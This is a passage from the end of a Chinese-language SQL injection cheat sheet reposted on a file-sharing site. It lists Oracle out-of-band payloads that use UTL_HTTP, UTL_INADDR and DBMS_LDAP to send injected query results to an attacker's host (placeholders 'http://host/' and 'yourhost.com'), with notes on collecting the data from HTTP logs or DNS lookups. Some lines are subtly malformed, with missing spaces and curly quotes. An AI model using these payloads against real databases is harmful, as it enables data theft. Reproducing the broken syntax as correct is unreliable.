                                ?vulnerableParam=(SELECTUTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROMDUAL)
                                結果將會被保存到 HTTP 訪問日志
                                
                                ?vulnerableParam=(SELECTUTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROMDUAL)
                                你需要監測去到com 的 DNS 解析請求
                                
                                ?vulnerableParam=(SELECTSYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROMDUAL) 
                                你需要監測去到com 的 DNS 解析請求
                                

                                參考資料

                                由于這些筆記是從一些不同的來源搜集的,有些年頭了,個人經驗看來我可能遺漏了部分參考資料。

 本文由用戶 ho1223 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!